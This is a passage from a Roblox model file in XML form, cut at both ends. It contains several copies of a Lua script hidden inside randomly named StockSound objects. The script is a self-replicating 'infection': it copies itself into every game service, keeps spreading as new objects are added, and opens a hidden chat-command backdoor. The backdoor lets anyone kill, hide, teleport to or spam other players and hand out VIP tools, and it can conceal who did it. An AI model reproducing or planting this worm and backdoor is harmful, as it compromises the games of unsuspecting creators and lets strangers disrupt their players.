local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
									<bool name="archivable">true</bool>
								</Properties>
							</Item>
						</Item>
					</Item>
					<Item class="StockSound" referent="RBX505">
						<Properties>
							<bool name="Looped">false</bool>
							<string name="Name">1j62htbs</string>
							<int name="PlayCount">-1</int>
							<bool name="PlayOnRemove">false</bool>
							<Content name="SoundId"><null></null></Content>
							<float name="Volume">0.5</float>
							<bool name="archivable">true</bool>
						</Properties>
						<Item class="Script" referent="RBX506">
							<Properties>
								<bool name="Disabled">false</bool>
								<Content name="LinkedSource"><null></null></Content>
								<string name="Name">za0t652k</string>
								<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local said = string.sub(msg, 5)
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;shout &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Shouty&quot;) ~= nil then game.Workspace.Shouty:Remove() end
local said = string.sub(msg, 7)
local talk = Instance.new(&quot;Message&quot;)
talk.Name = &quot;Shouty&quot;
talk.Text = speaker.Name.. &quot;: &quot;.. said
talk.Parent = game.Workspace
end
if string.find(msg, &quot;spam &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
for r = 1, 10 do
local er = Instance.new(&quot;Message&quot;)
er.Text = &quot; &quot;
er.Parent = plz[i]
end
end
end
end
if string.find(msg, &quot;bored&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
local talk = Instance.new(&quot;Hint&quot;)
talk.Name = &quot;Talky&quot;
talk.Parent = game.Workspace
if math.random(1,2) == 1 then
talk.Text = &quot;OMG IM SO BORED TOO!&quot;
else
talk.Text = &quot;Go play a different game then.&quot;
end
end
if string.find(msg, &quot;goto &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if speaker.Character ~= nil then
if speaker.Character:findFirstChild(&quot;Head&quot;) ~= nil then
speaker.Character.Head.CFrame = CFrame.new(plz[i].Character.Head.Position + Vector3.new(0,3,0))
end
end
end
end
end
end
end
if string.find(msg, &quot;nofall &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Platform&quot;) == nil then
local fl = Instance.new(&quot;Part&quot;)
fl.Name = &quot;Platform&quot;
fl.formFactor = &quot;Plate&quot;
fl.Size = Vector3.new(6,.2,6)
fl.Anchored = true
fl.Transparency = 1
local sc = Instance.new(&quot;Script&quot;)
sc.Name = &quot;MoveToChar&quot;
pcall(function() sc.Source=[[ p = script.Parent c = p.Parent while true do t = c:findFirstChild(&quot;Head&quot;) if t == nil then p:Remove() else p.Position = Vector3.new(t.Position.x,0,t.Position.z) end wait() end ]] end)
if sc.Source ~= &quot;print(\&quot;Hello World\&quot;)&quot; then
sc.Parent = fl -- its pcalled just in case. Well I have no idea what crazy things the admins will do in a few days, like stop scripts editing sources, but then as if THATS ever going 2 happen... (it would be stupid cause most roblox scripters would leave)
fl.Parent = plz[i].Character
end
end
end
end
end
end
if string.find(msg, &quot;tools &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
local pack = plz[i]:findFirstChild(&quot;Backpack&quot;)
if pack ~= nil then
for o = 1, #thetools do
thetools[o]:Clone().Parent = pack
end
end
end
end
end
end
wait()
game.Players.PlayerAdded:connect(function(new) new.Chatted:connect(function(msg) chat(msg,new) end) end) -- I do love this connecting script...
wait()
multinfect(game:service(&quot;Workspace&quot;))
multinfect(game:service(&quot;Lighting&quot;))
multinfect(game:service(&quot;StarterPack&quot;))
multinfect(game:service(&quot;Teams&quot;))
multinfect(game:service(&quot;SoundService&quot;))
multinfect(game:service(&quot;Debris&quot;))
--now we can rest in peace...

death = type(RIP)
</string>
								<bool name="archivable">true</bool>
							</Properties>
						</Item>
					</Item>
				</Item>
				<Item class="Model" referent="RBX507">
					<Properties>
						<token name="Controller">7</token>
						<bool name="ControllerFlagShown">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Figure</string>
						<Ref name="PrimaryPart">RBX508</Ref>
						<bool name="archivable">true</bool>
					</Properties>
					<Item class="Part" referent="RBX508">
						<Properties>
							<bool name="Anchored">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">4</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">12</int>
							<CoordinateFrame name="CFrame">
								<X>-40.7942886</X>
								<Y>4.8112855</Y>
								<Z>113.11911</Z>
								<R00>0.802155197</R00>
								<R01>9.38829107e-005</R01>
								<R02>0.597115636</R02>
								<R10>-0.000869754294</R10>
								<R11>0.999999106</R11>
								<R12>0.00101118628</R12>
								<R20>-0.59711498</R20>
								<R21>-0.00133047218</R21>
								<R22>0.802154541</R22>
							</CoordinateFrame>
							<bool name="CanCollide">false</bool>
							<token name="Controller">0</token>
							<bool name="ControllerFlagShown">true</bool>
							<bool name="DraggingV1">false</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Head</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
							</Vector3>
							<bool name="archivable">true</bool>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>2</X>
								<Y>1</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX509">
							<Properties>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">0</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1.25</X>
									<Y>1.25</Y>
									<Z>1.25</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<bool name="archivable">true</bool>
							</Properties>
							<Item class="StockSound" referent="RBX510">
								<Properties>
									<bool name="Looped">false</bool>
									<string name="Name">w9bu5nlka</string>
									<int name="PlayCount">-1</int>
									<bool name="PlayOnRemove">false</bool>
									<Content name="SoundId"><null></null></Content>
									<float name="Volume">0.5</float>
									<bool name="archivable">true</bool>
								</Properties>
								<Item class="Script" referent="RBX511">
									<Properties>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">oabq47o</string>
										<string name="Source">--             	 _                     |
-- unknowns 0.|_| Commands o
--

myname = &quot;builderman&quot; -- put your name here if you like!

--Hi, person who just looked inside a StockSound...
--Try these commands, they are great!

--[[COMMANDS:

say /sc BEFORE your command to make it so no-one kows its you who killed/shielded them

for example:

/sc shield builderman

reset  --this resets YOU
debug  --this removes all messages in the workspace and in players
fog  --this creates a few messages to look like fog, say debug to remove them

shield playername  --this shields the player named playername against explosions
kill playername  --this kills the player named playername
name newname  --this names YOUR CHARACTER the newname
god playername  --this sets the player playername unkillable by weapons that take damage (not explosions)
fast playername  --this speeds up the player named playername
slow playername --this slows the player named playername
hide playername  --this hides the player named playername
ghost playername  --this makes the player named playername ghostly
fade playername --this fades the player named playername a bit
show playername  --shows the player named playername
doom playername  --this makes there head a big triangle lol you can watch them running around stupidly
spam playername  --stops the player named playername seeing the chat properly
tools playername  --this gives the player the vip tools in the game
goto playername  --this moves your character to that players character
join teamname  --this joins the team named the teamname
say message  --creates a hint at the bottom of the screen saying your message
shout message  --creates a message on the screen saying your message

this is all case-sensitive

please note it is not needed to say the WHOLE name of the player, lets say just builderman was in the game:

tools bu would give him the VIP tools

but if builderdude was ingame aswell, he would ALSO get the tools, so if you only want builderman to get them, you should say:

tools builderm

also, if you just say tools then a space, then EVERYONE will get the tools

the same goes for kill, god, ghost, and all the other commands that use playername
--]]

--everything below here is very complicated so it would be best if you DONT mess with it

wait(.4)
if game:service(&quot;Workspace&quot;):findFirstChild(&quot;IMDOINGITOKSODONTKILLMENOW&quot;) ~= nil then
wait(math.huge) --this should keep it busy
end
jkoer = Instance.new(script.Parent.className)
jkoer.Name = &quot;IMDOINGITOKSODONTKILLMENOW&quot;
jkoer.Parent = game:service(&quot;Workspace&quot;)
jkoer.archivable = false
--Check all systems needed are running well
game:service(&quot;Workspace&quot;)
game:service(&quot;Lighting&quot;)
game:service(&quot;StarterPack&quot;)
game:service(&quot;Teams&quot;)
game:service(&quot;SoundService&quot;)
game:service(&quot;Debris&quot;)
--
bin = script.Parent
g = {&quot;a&quot;,&quot;b&quot;,&quot;c&quot;,&quot;d&quot;,&quot;e&quot;,&quot;f&quot;,&quot;g&quot;,&quot;h&quot;,&quot;i&quot;,&quot;j&quot;,&quot;k&quot;,&quot;l&quot;,&quot;m&quot;,&quot;n&quot;,&quot;o&quot;,&quot;p&quot;,&quot;q&quot;,&quot;r&quot;,&quot;s&quot;,&quot;t&quot;,&quot;u&quot;,&quot;v&quot;,&quot;w&quot;,&quot;x&quot;,&quot;y&quot;,&quot;z&quot;,&quot;0&quot;,&quot;1&quot;,&quot;2&quot;,&quot;3&quot;,&quot;4&quot;,&quot;5&quot;,&quot;6&quot;,&quot;7&quot;,&quot;8&quot;,&quot;9&quot;} --abcdefg...
thetools = {}
function gettools(scanner)
if scanner.className == &quot;HopperBin&quot; or scanner.className == &quot;Tool&quot; then
if scanner.archivable == true then table.insert(thetools, scanner:Clone()) end
end
local sc = scanner:GetChildren()
for i = 1, #sc do
gettools(sc[i])
end
end
gettools(game:service(&quot;Workspace&quot;))
gettools(game:service(&quot;Lighting&quot;))
function uinf(k)
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end --a nice little bit of script that stops the game lagging
if k ~= bin and k ~= script and k ~= bin.Parent then
local me = script.Parent:Clone()
me.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
me.Name = (me.Name.. g[math.random(1, #g)])
end
local be = me[script.Name]
be.Name = &quot;&quot;
local length = math.random(4,9)
for i = 1, length do
be.Name = (be.Name.. g[math.random(1, #g)])
end
me.Parent = k
local obs = k:GetChildren()
for i = 1, #obs do
infect(obs[i])
end
end
end
function infect(object)
local ONOES = 0
if object.className == &quot;Camera&quot; then return end
if object.className == &quot;Script&quot; then
if object.Source == script.Source then
ONOES = 1
end
end
local os = object:GetChildren()
for i = 1, #os do
local current = os[i]
if current.className == &quot;Script&quot; then
if current.Source == script.Source then
ONOES = 1
end
end
local oz = current:GetChildren()
for j = 1, #oz do
local cur = oz[j]
if cur.className == &quot;Script&quot; then
if cur.Source == script.Source then
ONOES = 1
end
end
end
end
if ONOES == 0 then
uinf(object)
else -- ONOSE!
local obs = object:GetChildren()
for i = 1, #obs do
if obs[i] ~= bin then
infect(obs[i])
end
end
end
end
function pultinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
if nowitshall == 1 then wait() nowitshall = 0 elseif nowitshall == 0 then nowitshall = 2 else nowitshall = 1 end
end
function multinfect(central)
central.ChildAdded:connect(pultinfect)
infect(central)
local sides = central:GetChildren()
for i = 1, #sides do
pultinfect(sides[i])
end
end
function chat(msg, speaker) --oh yes these are commands...
if string.find(msg, &quot;/sc &quot;) == 1 then
msg = string.sub(msg, 5) --I LOVE being secretive, dont u?
end
if string.find(msg, &quot;shield &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 8)) == 1 then
Instance.new(&quot;ForceField&quot;).Parent = plz[i].Character
end
end
end
if string.find(msg, &quot;kill &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
plz[i].Character:BreakJoints() --kill kill kill...
end
end
end
end
if string.find(msg, &quot;reset&quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character:BreakJoints()
end
end
if string.find(msg, &quot;name &quot;) == 1 then
if speaker.Character ~= nil then
speaker.Character.Name = string.sub(msg, 6)
end
end
if string.find(msg, &quot;god &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 5)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.MaxHealth = math.huge
plz[i].Character.Humanoid.Health = math.huge
end
end
end
end
end
if string.find(msg, &quot;fast &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed * 1.35
end
end
end
end
end
if string.find(msg, &quot;slow &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Humanoid&quot;) ~= nil then
plz[i].Character.Humanoid.WalkSpeed = plz[i].Character.Humanoid.WalkSpeed / 1.35
end
end
end
end
end
if string.find(msg, &quot;hide &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 1 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Decal&quot; then h[v]:Remove() end
if h[v].className == &quot;Part&quot; then h[v].Transparency = 1 end
end
end
end
end
end
end
if string.find(msg, &quot;show &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0 end
end
end
end
end
end
end
if string.find(msg, &quot;ghost &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 7)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.9 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.9 end
end
end
end
end
end
end
if string.find(msg, &quot;doom &quot;) == 1 then -- LOL this 1 is FUNNY
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
if plz[i].Character:findFirstChild(&quot;Head&quot;) ~= nil then
if plz[i].Character.Head:findFirstChild(&quot;Mesh&quot;) ~= nil then
if plz[i].Character.Head.Mesh.className == &quot;SpecialMesh&quot; then
plz[i].Character.Head.Mesh.Scale = Vector3.new(17, 11, 17)
plz[i].Character.Head.Mesh.MeshType = &quot;Wedge&quot;
end
end
end
end
end
end
end
if string.find(msg, &quot;fade &quot;) == 1 then
local plz = game.Players:GetPlayers()
for i = 1, #plz do
if string.find(plz[i].Name, string.sub(msg, 6)) == 1 then
if plz[i].Character ~= nil then
local m = plz[i].Character:GetChildren()
for z = 1, #m do
if m[z].className == &quot;Part&quot; then m[z].Transparency = 0.5 end
local h = m[z]:GetChildren()
for v = 1, #h do
if h[v].className == &quot;Part&quot; then h[v].Transparency = 0.5 end
end
end
end
end
end
end
if string.find(msg, &quot;join &quot;) == 1 then
local teams = game:service(&quot;Teams&quot;)
local tmz = teams:GetTeams()
for i = 1, #tmz do
if string.find(tmz[i].Name, string.sub(msg, 6)) == 1 then
speaker.Neutral = false
speaker.TeamColor = tmz[i].TeamColor
end
end
end
if string.find(msg, &quot;debug&quot;) == 1 then
local msgs = game.Workspace:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
local plz = game.Players:GetPlayers()
for j = 1, #plz do
local msgs = plz[j]:GetChildren()
for i = 1, #msgs do
if msgs[i].className == &quot;Message&quot; or msgs[i].className == &quot;Hint&quot; then
msgs[i]:Remove()
end
end
end
end
if string.find(msg, &quot;fog&quot;) == 1 then
if game.Workspace:findFirstChild(&quot;FOGZORZ&quot;) == nil then
local newm = Instance.new(&quot;Message&quot;)
newm.Name = &quot;FOGZORZ&quot;
newm.Text = &quot; &quot;
newm.Parent = game.Workspace
newm:Clone().Parent = game.Workspace
end
end
if string.find(msg, &quot;say &quot;) == 1 then
if game.Workspace:findFirstChild(&quot;Talky&quot;) ~= nil then game.Workspace.Talky:Remove() end
